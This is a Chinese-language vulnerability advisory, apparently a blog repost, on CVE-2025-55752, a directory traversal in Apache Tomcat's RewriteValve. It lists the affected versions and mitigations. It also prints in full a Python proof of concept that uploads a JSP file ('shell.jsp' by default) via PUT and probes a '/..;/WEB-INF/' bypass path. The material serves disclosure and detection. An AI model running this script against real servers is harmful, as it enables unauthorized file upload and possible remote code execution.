2026-04-21 00:58:26 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： ApacheTomcat的RewriteValve组件存在目录遍历漏洞CVE-2025-55752，因修复回归问题导致攻击者可绕过/WEB-INF/和/META-INF/防护机制，在启用PUT或WebDAV时上传恶意文件实现RCE。影响版本包括11.0.0-M1至11.0.10、10.1.0-M1至10.1.44、9.0.0.M11至9.0.108。文档提供检测脚本POC，建议禁用PUT方法或RewriteValve组件缓解风险。 综合评分： 72 文章分类： 漏洞分析,漏洞POC,WEB安全,漏洞预警,安全工具

cover_image

CVE-2025-55752｜Apache Tomcat目录遍历漏洞（POC）

alicy alicy

信安百科

2025年11月16日 18:00 河北

在小说阅读器读本章

去阅读

0x00 前言

Tomcat是Apache软件基金会（Apache Software Foundation）的Jakarta项目中的一个核心项目，由Apache、Sun和其他一些公司及个人共同开发而成。

Tomcat服务器是一个免费的开放源代码的Web应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP程序的首选。

Tomcat和Nginx、Apache(httpd)、lighttpd等Web服务器一样，具有处理HTML页面的功能，另外它还是一个Servlet和JSP容器，独立的Servlet容器是Tomcat的默认模式。不过，Tomcat处理静态HTML的能力不如Nginx/Apache服务器。

0x01 漏洞描述

Tomcat的RewriteValve组件提供URL重写功能，类似于Apache HTTP Server的mod_rewrite模块，允许开发者根据规则动态修改请求URL，广泛用于URL美化、请求转发和访问控制等场景。

该漏洞因修复程序出现回归问题所致，在URL重写过程中，系统先对URL进行规范化处理，再执行解码操作，这使得攻击者能够绕过针对/WEB-INF/和/META-INF/的安全防护机制。一旦启用PUT或WebDAV功能，攻击者可借此上传恶意文件并实现远程代码执行（RCE）。虽然PUT请求一般仅对可信用户开放，但配置不当会导致该漏洞被恶意利用。

0x02 CVE编号

CVE-2025-55752

0x03 影响版本

11.0.0-M1 <= Apache Tomcat <=&nbsp;11.0.1010.1.0-M1 <= Apache Tomcat <=&nbsp;10.1.449.0.0.M11 <= Apache Tomcat <=&nbsp;9.0.108

0x04 漏洞详情

POC：

https://github.com/TAM-K592/CVE-2025-55752

import&nbsp;requestsimport&nbsp;argparseimport&nbsp;urllib3import&nbsp;sysfrom&nbsp;urllib.parse&nbsp;import&nbsp;quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BANNER =&nbsp;"""CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script============================================================This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file&nbsp;into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752."""
def&nbsp;attempt_put_upload(target, filename, payload, verify_ssl):&nbsp; &nbsp; upload_path =&nbsp;f"/{filename}"&nbsp; &nbsp; url =&nbsp;f"{target}{upload_path}"&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Attempting to upload payload to:&nbsp;{url}")&nbsp; &nbsp; &nbsp; &nbsp; response = requests.put(url, data=payload, verify=verify_ssl, timeout=10)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code&nbsp;in&nbsp;[200,&nbsp;201,&nbsp;204]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Upload successful! Response code:&nbsp;{response.status_code}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;upload_path&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Upload failed! Response code:&nbsp;{response.status_code}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] Upload error:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None
def&nbsp;check_access(target, path, verify_ssl):&nbsp; &nbsp; bypass_path =&nbsp;f"/..;{path}"&nbsp; &nbsp; url =&nbsp;f"{target}{bypass_path}"&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Checking access to:&nbsp;{url}")&nbsp; &nbsp; &nbsp; &nbsp; response = requests.get(url, verify=verify_ssl, timeout=10)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] Bypass successful! Target may be vulnerable.")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] Access denied or not vulnerable (HTTP&nbsp;{response.status_code}).")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[!] Access check error:&nbsp;{e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
def&nbsp;main():&nbsp; &nbsp; parser = argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")&nbsp; &nbsp; parser.add_argument("url",&nbsp;help="Target base URL (e.g., http://127.0.0.1:8080)")&nbsp; &nbsp; parser.add_argument("--filename", default="shell.jsp",&nbsp;help="Filename to upload (default: shell.jsp)")&nbsp; &nbsp; parser.add_argument("--payload", default="<% out.println(\"Bypassed!\"); %>",&nbsp;help="Payload content to upload")&nbsp; &nbsp; parser.add_argument("--check", action="store_true",&nbsp;help="Only check for path bypass without uploading")&nbsp; &nbsp; parser.add_argument("--no-ssl-verify", action="store_true",&nbsp;help="Disable SSL certificate verification")&nbsp; &nbsp; args = parser.parse_args()
&nbsp; &nbsp;&nbsp;print(BANNER)&nbsp; &nbsp; verify_ssl =&nbsp;not&nbsp;args.no_ssl_verify
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;args.url.startswith("http"):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Please include http:// or https:// in the URL")&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)
&nbsp; &nbsp;&nbsp;if&nbsp;args.check:&nbsp; &nbsp; &nbsp; &nbsp; check_access(args.url,&nbsp;f"/WEB-INF/{args.filename}", verify_ssl)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; uploaded_path = attempt_put_upload(args.url, args.filename, args.payload, verify_ssl)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;uploaded_path:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; check_access(args.url,&nbsp;f"/WEB-INF/{args.filename}", verify_ssl)
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

0x05 参考链接

https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog